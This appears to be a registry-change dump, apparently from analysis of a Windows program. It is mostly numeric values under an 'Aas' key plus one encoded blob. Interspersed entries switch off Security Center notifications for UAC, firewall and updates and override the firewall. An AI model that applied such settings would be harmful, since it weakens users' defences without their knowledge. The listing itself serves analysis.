"a3_292" = "2110067853"
"a2_987" = "2780960806"
"a1_904" = "3313683361"
"a3_634" = "266990099"
"a3_619" = "159571106"
"a3_618" = "152516611"
"a3_611" = "68549034"
"a3_610" = "95044875"
"a3_613" = "82982508"
"a3_612" = "75537869"
"a3_615" = "131026734"
"a3_614" = "123579023"
"a3_617" = "111511520"
"a3_616" = "104522561"
"a3_181" = "1280611004"
"a3_180" = "1307180573"
"a3_34" = "260325067"
"a3_182" = "1288058591"
"a3_185" = "1309597744"
"a3_33" = "253401768"
"a3_187" = "1324038386"
"a3_186" = "1316586579"
"a3_189" = "1371566516"
"a3_188" = "1364647189"
"a3_38" = "289377359"
"a3_39" = "296296686"
"a3_471" = "3359687774"
"a3_470" = "3386187839"
"a3_473" = "3407682832"
"a3_472" = "3367139569"
"a3_475" = "3422180818"
"a3_474" = "3414733235"
"a3_477" = "3403113108"
"a4_282" = "2021692122"
"a3_479" = "3450714966"
"a3_478" = "3443656503"
"a1_479" = "2117054513"
"a1_478" = "2153297262"
"a3_509" = "3632529140"
"a3_508" = "3624950357"
"a1_473" = "3388203031"
"a1_472" = "2976211077"
"a1_471" = "1114362914"
"a1_470" = "1990877775"
"a1_477" = "161724863"
"a1_476" = "2578508558"
"a1_475" = "2793295550"
"a1_474" = "3595925030"
"a4_533" = "3821141493"
"a1_679" = "3695995188"
"a1_678" = "3577984819"
"a4_532" = "3813972372"
"a1_675" = "386990593"
"a1_674" = "1819146044"
"a1_677" = "2015443927"
"a1_676" = "2141348472"
"a1_671" = "875762760"
"a4_531" = "3806803251"
"a1_673" = "2680591708"
"a1_672" = "1394476268"

[HKLM\SOFTWARE\Microsoft\Security Center]
"UacDisableNotify" = "1"

[HKCU\Software\Aas]
"a4_530" = "3799634130"
"a4_537" = "3849817977"
"a4_536" = "3842648856"
"a3_989" = "2812256404"
"a1_868" = "119628410"
"a4_535" = "3835479735"
"a3_981" = "2721238428"
"a3_980" = "2747738493"
"a3_983" = "2769230430"
"a4_534" = "3828310614"
"a3_985" = "2783204112"
"a3_984" = "2776284913"
"a3_987" = "2764139474"
"a3_986" = "2757228467"
"a2_151" = "1082535552"
"a2_150" = "1075367310"
"a1_869" = "2219074805"
"a2_271" = "1942839896"
"a3_879" = "1989722918"
"a3_878" = "1982672519"
"a1_823" = "2231092073"
"a3_874" = "1954273539"
"a3_877" = "2009303652"
"a3_876" = "2001736133"
"a3_871" = "1966337070"
"a3_870" = "1925204879"
"a3_873" = "1946690784"
"a3_872" = "1973321793"
"a2_159" = "1139884136"
"a4_758" = "1139226422"
"a2_158" = "1132718337"
"a1_925" = "3951795492"
"a1_924" = "981623365"
"a1_927" = "587607172"
"a1_926" = "1662528366"
"a1_921" = "1002863438"
"a1_920" = "879647425"
"a3_787" = "1363737626"
"a1_922" = "1349011460"
"a3_80" = "590099577"
"a1_929" = "4228174383"
"a1_928" = "4180170745"
"a4_649" = "357792233"
"a4_648" = "350623112"
"a4_641" = "300439265"
"a4_640" = "293270144"
"a4_643" = "314777507"
"a4_642" = "307608386"
"a4_645" = "329115749"
"a4_644" = "321946628"
"a4_647" = "343453991"
"a4_646" = "336284870"
"a3_786" = "1323129851"
"a1_819" = "911366660"
"a1_818" = "1674251334"
"a3_785" = "1316202328"
"a3_746" = "1069934723"
"a1_811" = "3565829424"
"a1_810" = "1255643633"
"a1_813" = "3362637400"
"a1_812" = "314199170"
"a1_815" = "1486143382"
"a1_814" = "565312064"
"a1_817" = "138450154"
"a1_816" = "4287693049"
"a4_963" = "2608896227"
"a4_429" = "3075552909"
"a4_428" = "3068383788"
"a4_425" = "3046876425"
"a4_424" = "3039707304"
"a4_427" = "3061214667"
"a4_426" = "3054045546"
"a4_421" = "3018199941"
"a4_420" = "3011030820"
"a4_423" = "3032538183"
"a4_422" = "3025369062"
"a3_743" = "1014841262"
"a3_745" = "1062892640"
"a3_742" = "1007917839"
"a4_967" = "2637572711"
"a3_741" = "1033955052"
"a2_802" = "1454665527"
"a4_357" = "2559376197"
"a4_356" = "2552207076"
"a4_355" = "2545037955"
"a4_354" = "2537868834"
"a4_353" = "2530699713"
"a4_352" = "2523530592"
"a4_351" = "2516361471"
"a4_350" = "2509192350"
"a3_747" = "1043369250"
"a4_359" = "2573714439"
"a4_358" = "2566545318"
"a4_511" = "3663420831"
"a4_510" = "3656251710"
"a4_513" = "3677759073"
"a4_512" = "3670589952"
"a4_515" = "3692097315"
"a4_514" = "3684928194"
"a4_517" = "3706435557"
"a4_516" = "3699266436"
"a4_519" = "3720773799"
"a4_518" = "3713604678"
"a3_744" = "1021891521"
"a3_749" = "1091421668"
"a1_994" = "2255580062"

[HKCU\Software\Aas\695404737]
"50183847" = "791C9298427653EC1F017F6A2B459CCDA440F1B12093A5451B7F69ABB924E6A0B7D44FD1F8B9DCD4790D4CFB7F3C12F9EA3E4504A961E63C04BE73C1F48F933724796B2794E6C3608F1ED562DFF59CC4DA4128FB18B405C7B3A4DC36205F07EC4D472F0A86674034357EB050963F982D76A6FABEF6CF1A9FEA51EAB24E717555"

[HKCU\Software\Aas]
"a2_845" = "1762937622"
"a2_844" = "1755772785"
"a2_847" = "1777273832"
"a2_846" = "1770101021"
"a2_841" = "1734268330"
"a2_840" = "1727087519"
"a2_843" = "1748604609"
"a2_842" = "1741434937"
"a3_780" = "1280228773"
"a4_928" = "2357976992"
"a2_849" = "1791621306"
"a2_848" = "1784453807"
"a1_312" = "915885297"
"a1_313" = "3891012807"
"a1_310" = "2414654248"
"a1_311" = "3930406940"
"a1_316" = "3169839779"
"a1_317" = "593404272"
"a1_314" = "350173235"
"a1_315" = "3377534722"
"a3_620" = "166490309"
"a1_318" = "4112718113"
"a1_319" = "3792086145"
"a4_929" = "2365146113"
"a4_982" = "2745109526"
"a2_449" = "3218938094"
"a2_448" = "3211768939"
"a3_621" = "140449124"
"a2_441" = "3161583736"
"a2_440" = "3154418718"
"a2_443" = "3175918384"
"a2_442" = "3168754111"
"a2_445" = "3190252807"
"a2_444" = "3183087232"
"a2_447" = "3204601872"
"a2_446" = "3197433454"
"a2_939" = "2436838765"
"a2_938" = "2429676349"
"a4_893" = "2107057757"
"a2_931" = "2379487561"
"a2_930" = "2372318770"
"a2_933" = "2393817229"
"a2_932" = "2386650715"
"a2_935" = "2408153849"
"a2_934" = "2400987993"
"a2_937" = "2422505436"
"a2_936" = "2415337165"
"a3_818" = "1552537563"
"a2_711" = "802282912"
"a2_710" = "795100793"
"a2_713" = "816612654"
"a2_712" = "809439007"
"a2_715" = "830962118"
"a2_714" = "823777209"
"a2_717" = "845298138"
"a2_716" = "838115880"
"a2_719" = "859633267"
"a2_718" = "852465132"
"a1_587" = "2690235554"
"a3_623" = "187965990"
"a2_629" = "214415522"
"a2_628" = "207234833"
"a2_625" = "185733098"
"a2_624" = "178556765"
"a2_627" = "200065033"
"a2_626" = "192897761"
"a2_621" = "157051331"
"a2_620" = "149881342"
"a2_623" = "171400784"
"a2_622" = "164230822"
"a1_266" = "3547199411"
"a1_267" = "2985150326"
"a1_264" = "1596912213"
"a1_265" = "1790104480"
"a1_262" = "606310168"
"a1_263" = "1591384062"
"a1_260" = "279266010"
"a1_261" = "535959226"
"a1_268" = "2113520546"
"a1_269" = "2002382431"
"a2_157" = "1125559625"
"a2_156" = "1118384507"
"a2_155" = "1111216568"
"a2_154" = "1104051210"
"a2_153" = "1096869611"
"a2_152" = "1089703823"
"a2_99" = "709740884"
"a2_98" = "702574728"
"a2_97" = "695409898"
"a2_96" = "688238759"
"a2_95" = "681060138"
"a2_94" = "673893497"
"a2_93" = "666725674"
"a2_92" = "659557316"
"a2_91" = "652391755"
"a2_90" = "645225929"
"a3_260" = "1847236781"
"a3_261" = "1854160076"
"a3_262" = "1861734767"
"a3_263" = "1902212494"
"a3_264" = "1909255713"
"a3_265" = "1883210304"
"a3_266" = "1890133731"
"a3_267" = "1930746626"
"a3_268" = "1938194341"
"a3_269" = "1945179076"
"a1_915" = "1988984091"
"a1_847" = "2214780498"
"a3_404" = "2913010493"
"a1_844" = "4183723806"
"a3_405" = "2886510428"
"a1_845" = "2635864979"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Aas]
"a2_862" = "1884807712"
"a4_983" = "2752278647"
"a1_961" = "604843116"
"a3_668" = "477267765"
"a3_669" = "484195156"
"a1_960" = "1741194166"
"a3_664" = "448737713"
"a3_665" = "489346512"
"a3_666" = "496258675"
"a3_667" = "470278802"
"a3_660" = "453353533"
"a3_661" = "460801116"
"a3_662" = "467859711"
"a3_663" = "441294110"
"a3_43" = "324843106"
"a3_42" = "284237251"
"a3_41" = "277248416"
"a3_40" = "269796609"
"a3_47" = "353765350"
"a3_46" = "313221959"
"a3_45" = "305778468"
"a3_44" = "332278405"
"a1_965" = "2453030683"
"a3_49" = "368270520"
"a3_48" = "360822809"
"a1_964" = "1430008570"
"a4_99" = "709742979"
"a4_98" = "702573858"
"a3_406" = "2893962239"
"a3_407" = "2901015582"
"a3_400" = "2884615609"
"a3_401" = "2857980376"
"a3_402" = "2865023611"
"a3_403" = "2906025626"
"a4_91" = "652390011"
"a4_90" = "645220890"
"a4_93" = "666728253"
"a4_92" = "659559132"
"a4_95" = "681066495"
"a4_94" = "673897374"
"a4_97" = "695404737"
"a4_96" = "688235616"

[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"FirewallOverride" = "1"

[HKCU\Software\Aas]
"a1_448" = "3271982714"
"a1_449" = "282403192"
"a1_446" = "2112498318"
"a3_408" = "2941554865"
"a1_444" = "1090469482"
"a1_445" = "1181771464"
"a1_442" = "3611049511"
"a1_443" = "3026352000"
"a1_440" = "2768083825"
"a3_409" = "2949002448"
"a1_680" = "1132717797"
"a1_681" = "3451888464"
"a1_682" = "4010879295"
"a1_683" = "3804327572"
"a2_561" = "4021871874"
"a1_685" = "1110619604"
"a1_686" = "3296673234"
"a1_687" = "3057456128"
"a1_688" = "665871345"
"a1_689" = "628480173"

"a3_834" = "1700949547"
"a3_988" = "2804681845"
"a1_767" = "3009098170"
"a1_766" = "95339510"
"a3_318" = "2262948439"
"a3_319" = "2303950582"
"a2_599" = "4294295719"
"a3_310" = "2239031135"
"a3_311" = "2246548478"
"a3_312" = "2219916305"
"a3_313" = "2226966704"
"a3_314" = "2267968723"
"a3_315" = "2275010930"
"a3_316" = "2248445333"
"a3_317" = "2255889972"
"a3_933" = "2410528684"
"a3_934" = "2384417743"
"a1_760" = "3660669862"
"a2_605" = "42346138"
"a3_935" = "2391471214"
"a3_476" = "3395669621"
"a1_447" = "994888710"
"a2_603" = "28010633"
"a3_880" = "2030724953"
"a3_881" = "2037718008"
"a3_882" = "2044771355"
"a3_883" = "2018660538"
"a3_884" = "2025714909"
"a3_885" = "2066704764"
"a3_886" = "2073693599"
"a1_745" = "1026280491"
"a3_888" = "2054642257"
"a3_889" = "2061696752"
"a1_769" = "2775609405"
"a1_441" = "508483021"
"a4_964" = "2616065348"
"a1_744" = "3992411220"
"a4_988" = "2788124252"
"a4_857" = "1848969401"
"a4_638" = "278931902"
"a4_639" = "286101023"
"a4_634" = "250255418"
"a4_635" = "257424539"
"a4_636" = "264593660"
"a4_637" = "271762781"
"a4_630" = "221578934"
"a4_631" = "228748055"
"a4_632" = "235917176"
"a4_633" = "243086297"
"a2_913" = "2250433436"
"a1_747" = "3443703130"
"a2_912" = "2243268335"
"a2_911" = "2236097112"
"a3_997" = "2869200876"
"a2_651" = "372135985"
"a2_910" = "2228930112"
"a3_794" = "1380597491"

[HKCU\Software\Aas\695404737]
"35845605" = "310"

[HKCU\Software\Aas]
"a2_917" = "2279124770"
"a4_883" = "2035366547"
"a2_916" = "2271951915"
"a4_740" = "1010182244"
"a4_741" = "1017351365"
"a4_742" = "1024520486"
"a4_743" = "1031689607"
"a4_744" = "1038858728"
"a4_745" = "1046027849"
"a4_746" = "1053196970"
"a4_747" = "1060366091"
"a4_748" = "1067535212"
"a4_749" = "1074704333"
"a1_866" = "38387323"
"a1_867" = "2969874412"
"a1_860" = "501184643"
"a1_861" = "1589484616"
"a1_862" = "2478715823"
"a4_859" = "1863307643"
"a4_182" = "1304780022"

[HKLM\SOFTWARE\Microsoft\Security Center]
"UpdatesDisableNotify" = "1"

[HKCU\Software\Aas]
"a4_180" = "1290441780"
"a4_181" = "1297610901"
"a4_186" = "1333456506"
"a4_187" = "1340625627"
"a4_184" = "1319118264"
"a4_185" = "1326287385"
"a4_188" = "1347794748"
"a4_189" = "1354963869"
"a1_741" = "3747507890"
"a2_918" = "2286283745"
"a4_168" = "1204412328"
"a1_194" = "409912795"
"a1_195" = "599566378"
"a4_160" = "1147059360"
"a4_161" = "1154228481"
"a4_162" = "1161397602"
"a4_163" = "1168566723"
"a4_164" = "1175735844"
"a4_165" = "1182904965"
"a4_166" = "1190074086"
"a4_167" = "1197243207"
"a4_296" = "2122059816"
"a4_297" = "2129228937"
"a4_294" = "2107721574"
"a4_295" = "2114890695"
"a4_292" = "2093383332"
"a4_293" = "2100552453"
"a4_290" = "2079045090"
"a4_291" = "2086214211"
"a4_142" = "1018015182"
"a3_952" = "2546868881"
"a4_568" = "4072060728"
"a4_569" = "4079229849"
"a4_298" = "2136398058"
"a4_299" = "2143567179"
"a2_598" = "4287127690"
"a1_192" = "485310109"
"a1_193" = "4215136124"
"a1_969" = "2632033397"
"a4_934" = "2400991718"
"a3_993" = "2840671848"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Aas]
"a3_790" = "1351657855"
"a4_958" = "2573050622"
"a1_742" = "1317708689"
"a4_368" = "2638236528"
"a4_369" = "2645405649"
"a4_362" = "2595221802"
"a4_363" = "2602390923"
"a4_360" = "2580883560"
"a4_361" = "2588052681"
"a4_366" = "2623898286"
"a4_367" = "2631067407"
"a4_364" = "2609560044"
"a4_365" = "2616729165"
"a1_305" = "350257654"
"a1_304" = "3388828042"
"a1_307" = "11325710"
"a1_306" = "3043717804"
"a1_301" = "2722756529"
"a1_300" = "2792255483"
"a1_303" = "1782824082"
"a1_302" = "3385025329"
"a3_792" = "1399711281"
"a1_309" = "1901831342"
"a1_308" = "1934575365"
"a2_540" = "3871320872"
"a2_541" = "3878501998"
"a2_542" = "3885668935"
"a1_481" = "1038090889"
"a2_544" = "3900004326"
"a2_545" = "3907168571"
"a2_546" = "3914336702"
"a2_547" = "3921503924"
"a2_548" = "3928671636"
"a2_549" = "3935852682"
"a2_894" = "2114229894"
"a2_895" = "2121386858"
"a2_892" = "2099896595"
"a2_893" = "2107063807"
"a2_890" = "2085545311"
"a2_891" = "2092712961"
"a2_438" = "3140067035"
"a2_439" = "3147250778"
"a2_434" = "3111402173"
"a2_435" = "3118565608"
"a2_436" = "3125734491"
"a2_437" = "3132899778"
"a2_430" = "3082715593"
"a2_431" = "3089881932"
"a2_432" = "3097066635"
"a2_433" = "3104231644"
"a4_986" = "2773786010"
"a2_948" = "2501351329"
"a2_949" = "2508524890"
"a4_908" = "2214594572"
"a2_944" = "2472687719"
"a2_945" = "2479860402"
"a2_946" = "2487022941"
"a2_947" = "2494187698"
"a2_940" = "2444015400"
"a1_488" = "3870506579"
"a2_942" = "2458339751"
"a2_943" = "2465521439"
"a1_279" = "338905355"
"a1_278" = "1158434843"
"a1_489" = "2183335191"
"a1_271" = "4156486929"
"a1_270" = "159982576"
"a1_273" = "3162364355"
"a1_272" = "2876635751"
"a1_275" = "757090433"
"a1_274" = "1646609946"
"a1_277" = "1770104427"
"a1_276" = "1850466443"
"a2_764" = "1182240007"
"a2_765" = "1189405402"
"a2_766" = "1196573203"
"a2_767" = "1203741400"
"a2_760" = "1153558817"
"a2_761" = "1160740049"
"a2_762" = "1167908653"
"a2_763" = "1175073558"
"a2_768" = "1210924759"
"a2_769" = "1218092186"
"a2_382" = "2738613151"
"a2_383" = "2745765144"
"a2_380" = "2724259292"
"a2_381" = "2731441732"
"a2_386" = "2767275188"
"a2_387" = "2774440809"
"a2_384" = "2752940789"
"a2_385" = "2760103296"
"a2_388" = "2781625154"
"a2_389" = "2788794280"
"a1_613" = "105629581"
"a1_612" = "1289753021"
"a1_611" = "770642495"
"a2_368" = "2638240864"
"a2_369" = "2645407368"
"a1_610" = "2274030736"
"a2_88" = "630891372"
"a2_89" = "638043608"
"a2_84" = "602206803"
"a2_85" = "609370930"
"a2_86" = "616539701"
"a2_87" = "623721910"
"a2_80" = "573522957"
"a2_81" = "580704492"
"a2_82" = "587870746"
"a2_83" = "595044679"
"a3_273" = "1974165848"
"a3_272" = "1966722361"
"a3_271" = "1926113414"
"a3_270" = "1918678119"
"a3_277" = "2002712284"
"a3_276" = "1962103485"
"a3_275" = "1954659866"
"a3_274" = "1947600379"
"a2_162" = "1161400837"
"a2_163" = "1168569188"
"a3_279" = "1983582110"
"a3_278" = "2009623423"
"a2_166" = "1190071633"
"a2_167" = "1197237527"
"a2_164" = "1175737931"
"a2_165" = "1182902514"
"a3_690" = "668723035"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Aas]
"a3_679" = "589715310"
"a1_666" = "2285516768"
"a3_677" = "541662892"
"a3_676" = "568228365"
"a3_675" = "560775658"
"a3_674" = "553725259"
"a3_673" = "513247528"
"a3_672" = "505681033"
"a3_671" = "532246550"
"a3_670" = "525328375"
"a3_50" = "341766363"
"a3_51" = "348755322"
"a3_52" = "389745053"
"a3_53" = "396796476"
"a3_54" = "370165343"
"a3_55" = "377748222"
"a3_56" = "384737041"
"a3_57" = "425210800"
"a3_58" = "432789459"
"a3_59" = "406145138"
"a3_417" = "3006523432"
"a3_416" = "2965403529"
"a3_415" = "2958480150"
"a3_414" = "2984984311"
"a3_413" = "2977536596"
"a3_412" = "2970543669"
"a3_411" = "2929937810"
"a3_410" = "2922490227"
"a3_419" = "2986877162"
"a3_418" = "3013512267"
"a1_451" = "2081206421"
"a1_450" = "3430357460"
"a1_453" = "938431841"
"a1_452" = "3275388665"
"a1_455" = "2710669755"
"a1_454" = "1531898152"
"a1_457" = "298094455"
"a1_456" = "4210025617"
"a1_459" = "3494625460"
"a1_458" = "41216310"
"a1_693" = "1175710680"
"a1_692" = "617525301"
"a1_691" = "2168478831"
"a1_690" = "2341782063"
"a1_697" = "1187491917"
"a1_696" = "407819238"
"a1_695" = "4060134665"
"a1_694" = "2233249707"
"a1_699" = "1041493349"
"a1_698" = "3650342444"
"a3_896" = "2145139113"
"a3_695" = "704178558"
"a1_962" = "419023947"
"a3_309" = "2231976764"
"a3_308" = "2191503005"
"a3_303" = "2155521254"
"a3_302" = "2148466759"
"a3_301" = "2174512164"
"a3_300" = "2167589765"
"a3_307" = "2183924346"
"a3_306" = "2210566619"
"a3_305" = "2203581880"
"a3_304" = "2162448665"
"a4_86" = "616544406"
"a4_87" = "623713527"
"a4_84" = "602206164"
"a4_85" = "609375285"
"a4_82" = "587867922"
"a4_83" = "595037043"
"a4_80" = "573529680"
"a4_81" = "580698801"
"a3_887" = "2047190590"
"a3_730" = "921917107"
"a4_88" = "630882648"
"a4_89" = "638051769"
"a3_731" = "962513618"
"a4_954" = "2544374138"

[HKCU\Software\Aas\695404737]
"14338242" = "0"

[HKCU\Software\Aas]
"a3_913" = "2267125720"
"a3_736" = "998505673"
"a1_740" = "361982001"
"a3_737" = "1005490536"
"a3_697" = "685057584"
"a3_892" = "2083171285"
"a3_891" = "2109683634"
"a3_890" = "2102235923"
"a3_897" = "2119163336"
"a3_734" = "950445111"
"a3_895" = "2138211638"
"a3_894" = "2131222679"
"a3_899" = "2166680202"
"a3_735" = "990926934"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Aas]
"a3_696" = "678137233"
"a1_967" = "2131940187"
"a4_387" = "2774449827"
"a1_940" = "3614350324"
"a1_752" = "2275855255"
"a4_629" = "214409813"
"a4_628" = "207240692"
"a4_627" = "200071571"
"a4_626" = "192902450"
"a4_625" = "185733329"
"a4_624" = "178564208"
"a4_623" = "171395087"
"a4_622" = "164225966"
"a4_621" = "157056845"
"a4_620" = "149887724"
"a2_75" = "537687709"
"a2_74" = "530518564"
"a2_77" = "552015079"
"a2_76" = "544856044"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"GlobalUserOffline" = "0"

[HKCU\Software\Aas]
"a2_71" = "509005804"
"a2_70" = "501836193"
"a4_753" = "1103380817"
"a4_752" = "1096211696"
"a4_751" = "1089042575"
"a4_750" = "1081873454"
"a4_757" = "1132057301"
"a2_73" = "523353224"
"a4_755" = "1117719059"
"a4_754" = "1110549938"
"a1_877" = "3511364851"
"a1_876" = "3299927476"
"a4_759" = "1146395543"
"a2_72" = "516173043"
"a1_873" = "666672509"
"a1_872" = "1214288645"
"a1_871" = "2577618894"
"a1_870" = "3159635613"
"a4_195" = "1397978595"
"a4_194" = "1390809474"
"a4_197" = "1412316837"
"a4_196" = "1405147716"
"a4_191" = "1369302111"
"a4_190" = "1362132990"
"a4_193" = "1383640353"
"a4_192" = "1376471232"

[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"FirewallDisableNotify" = "1"

[HKCU\Software\Aas]
"a4_198" = "1419485958"
"a1_909" = "2525306420"
"a4_179" = "1283272659"
"a4_178" = "1276103538"
"a4_173" = "1240257933"
"a4_172" = "1233088812"
"a4_171" = "1225919691"
"a4_170" = "1218750570"
"a4_177" = "1268934417"
"a4_176" = "1261765296"
"a4_175" = "1254596175"
"a4_174" = "1247427054"
"a4_577" = "4136582817"
"a3_123" = "898388146"
"a4_575" = "4122244575"
"a4_574" = "4115075454"
"a4_573" = "4107906333"
"a4_572" = "4100737212"
"a4_571" = "4093568091"
"a3_122" = "891468819"
"a4_970" = "2659080074"
"a3_121" = "850861040"
"a4_579" = "4150921059"
"a4_578" = "4143751938"
"a4_289" = "2071875969"
"a4_288" = "2064706848"
"a3_636" = "247859925"
"a3_120" = "843343697"
"a4_985" = "2766616889"
"a4_281" = "2014523001"
"a4_280" = "2007353880"
"a4_283" = "2028861243"
"a1_108" = "1881210681"
"a4_285" = "2043199485"
"a4_284" = "2036030364"
"a4_287" = "2057537727"
"a3_126" = "886312343"
"a3_125" = "879323508"
"a3_124" = "905966805"
"a4_965" = "2623234469"
"a3_691" = "642161658"
"a3_967" = "2620735566"
"a4_379" = "2717096859"
"a4_378" = "2709927738"
"a3_966" = "2647370799"
"a4_375" = "2688420375"
"a4_374" = "2681251254"
"a4_377" = "2702758617"
"a4_376" = "2695589496"
"a4_371" = "2659743891"
"a4_370" = "2652574770"
"a4_373" = "2674082133"
"a4_372" = "2666913012"
"a3_964" = "2599327597"
"a3_963" = "2592338634"
"a3_962" = "2584764075"
"a4_756" = "1124888180"
"a3_961" = "2611395080"
"a1_755" = "950324548"
"a1_437" = "4082178399"
"a3_960" = "2604335593"
"a2_553" = "3964519238"
"a2_552" = "3957351640"
"a2_551" = "3950187990"
"a2_550" = "3943019586"
"a2_557" = "3993202910"
"a2_556" = "3986037496"
"a2_555" = "3978856228"
"a2_554" = "3971687110"
"a2_889" = "2078389604"
"a2_888" = "2071211694"
"a2_559" = "4007540176"
"a2_558" = "4000374437"
"a4_980" = "2730771284"
"a4_981" = "2737940405"
"a2_429" = "3075544202"
"a2_428" = "3068381440"
"a2_427" = "3061217339"
"a2_426" = "3054048118"
"a2_425" = "3046868040"
"a2_424" = "3039713312"
"a2_423" = "3032533728"
"a2_422" = "3025365517"
"a2_421" = "3018198324"
"a2_420" = "3011020972"
"a1_758" = "199384937"
"a2_565" = "4050555507"
"a4_984" = "2759447768"
"a2_959" = "2580225017"
"a2_958" = "2573054121"
"a2_957" = "2565875133"
"a2_956" = "2558707606"
"a2_955" = "2551537728"
"a2_954" = "2544371289"
"a1_785" = "2922527949"
"a2_952" = "2530041647"
"a2_951" = "2522870393"
"a2_950" = "2515691047"
"a1_208" = "3196060840"
"a1_209" = "2181208935"
"a1_204" = "3439407350"
"a1_205" = "1081842161"
"a1_206" = "1392731824"
"a1_207" = "3124541349"
"a1_200" = "2198201233"
"a1_201" = "2781232452"
"a1_202" = "717492785"
"a1_203" = "237486896"
"a2_777" = "1275445188"
"a2_776" = "1268273587"
"a2_775" = "1261093997"
"a2_774" = "1253925365"
"a2_773" = "1246758475"
"a2_772" = "1239591279"
"a2_771" = "1232422217"
"a2_770" = "1225260049"
"a2_779" = "1289776422"
"a2_778" = "1282611072"
"a2_395" = "2831809526"
"a2_394" = "2824628900"
"a2_397" = "2846143643"
"a2_396" = "2838978431"
"a2_391" = "2803135476"
"a2_390" = "2795958583"
"a2_393" = "2817460009"
"a2_392" = "2810294156"
"a2_399" = "2860475988"
"a2_398" = "2853312879"
"a2_568" = "4072058271"
"a2_569" = "4079226282"
"a2_379" = "2717093048"
"a2_378" = "2709921921"
"a2_373" = "2674091167"
"a2_372" = "2666906232"
"a2_371" = "2659737768"
"a2_370" = "2652573641"
"a2_377" = "2702756024"
"a2_376" = "2695581231"
"a2_375" = "2688425236"
"a2_374" = "2681254549"
"a3_246" = "1746738975"
"a3_247" = "1753789374"
"a3_244" = "1765852765"
"a3_245" = "1773304572"
"a2_179" = "1283274980"
"a2_178" = "1276106485"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallDisableNotify" = "1"

[HKCU\Software\Aas]
"a3_241" = "1744311672"
"a2_175" = "1254591112"
"a2_174" = "1247418809"
"a2_177" = "1268940749"
"a2_176" = "1261772635"
"a2_171" = "1225923580"
"a2_170" = "1218753268"
"a2_173" = "1240254677"
"a3_249" = "1801832560"
"a4_960" = "2587388864"
"a1_510" = "3713408083"
"a1_511" = "413689041"
"a1_512" = "4165646421"
"a1_513" = "957419683"
"a1_514" = "2067991422"
"a1_515" = "2338202963"
"a1_516" = "1814659037"
"a1_517" = "3329674664"
"a1_518" = "4037636139"
"a1_519" = "2498976281"
"a3_648" = "367361953"
"a3_649" = "340792256"
"a3_69" = "478110732"
"a3_68" = "470664173"
"a3_65" = "449123976"
"a3_64" = "442135145"
"a3_67" = "497168202"
"a3_66" = "489720619"
"a3_61" = "454263092"
"a3_60" = "413199509"
"a3_63" = "468244982"
"a3_62" = "461186391"
"a1_784" = "3522801733"
"a3_514" = "3667976427"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKCU\Software\Aas]
"a2_543" = "3892834890"
"a1_424" = "37601270"
"a1_425" = "1475092817"
"a1_426" = "2571380531"
"a1_427" = "2293034496"
"a1_420" = "2731482662"
"a1_421" = "4286014168"
"a1_422" = "3792095160"
"a1_423" = "1475811321"
"a3_199" = "1409969486"
"a1_428" = "2416514662"
"a1_429" = "2995416375"
"a3_515" = "3709043978"
"a3_693" = "690213052"
"a2_965" = "2623240842"
"a3_338" = "2439897659"
"a3_339" = "2446886490"
"a3_336" = "2391856505"
"a3_337" = "2432846232"
"a3_334" = "2411437223"
"a3_335" = "2384801990"
"a3_332" = "2363312101"
"a3_333" = "2403923972"
"a3_330" = "2348814115"
"a3_331" = "2356388674"
"a1_738" = "1244991728"
"a1_739" = "1931640406"
"a3_428" = "3084957701"
"a3_429" = "3058850980"
"a3_422" = "3041926607"
"a3_423" = "3049502318"
"a3_420" = "2994455821"
"a3_421" = "3001383340"
"a3_426" = "3070911299"
"a3_427" = "3077900258"
"a3_424" = "3022858881"
"a3_425" = "3029913376"
"a1_864" = "2270435241"
"a2_915" = "2264781635"
"a1_865" = "3364180884"
"a4_870" = "1942167974"
"a4_873" = "1963675337"
"a1_863" = "101907662"
"a3_87" = "607024862"
"a3_86" = "633131711"
"a3_85" = "626081308"
"a3_84" = "585598461"
"a3_83" = "578085210"
"a3_82" = "571034939"
"a3_81" = "597665944"
"a4_183" = "1311949143"
"a3_89" = "654610320"
"a3_88" = "614067057"
"a4_612" = "92534756"
"a4_613" = "99703877"
"a4_610" = "78196514"
"a4_611" = "85365635"
"a4_616" = "121211240"
"a4_617" = "128380361"
"a4_614" = "106872998"
"a4_615" = "114042119"
"a4_968" = "2644741832"
"a4_969" = "2651910953"
"a4_618" = "135549482"
"a4_619" = "142718603"

"a4_871" = "1949337095"
"a1_995" = "2449823652"
"a1_996" = "1771621599"
"a1_997" = "1617500566"
"a1_990" = "4066049495"
"a1_991" = "3399572013"
"a1_992" = "333363645"
"a1_993" = "2217477627"
"a3_689" = "661144376"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Aas]
"a3_812" = "1543047557"
"a3_692" = "649083933"
"a4_876" = "1985182700"
"a4_766" = "1196579390"
"a4_767" = "1203748511"
"a4_764" = "1182241148"
"a4_765" = "1189410269"
"a4_762" = "1167902906"
"a4_763" = "1175072027"
"a4_760" = "1153564664"
"a4_761" = "1160733785"
"a1_848" = "2053237254"
"a1_849" = "1172326364"
"a1_439" = "2636707637"
"a4_768" = "1210917632"
"a4_769" = "1218086753"
"a3_938" = "2446500163"
"a3_512" = "3687557161"
"a2_662" = "450989542"
"a3_513" = "3660926024"
"a3_930" = "2355479115"
"a3_931" = "2362926826"
"a3_932" = "2403474189"
"a3_814" = "1523992135"
"a4_877" = "1992351821"
"a3_510" = "3639513879"
"a3_936" = "2398382209"
"a3_937" = "2439449888"
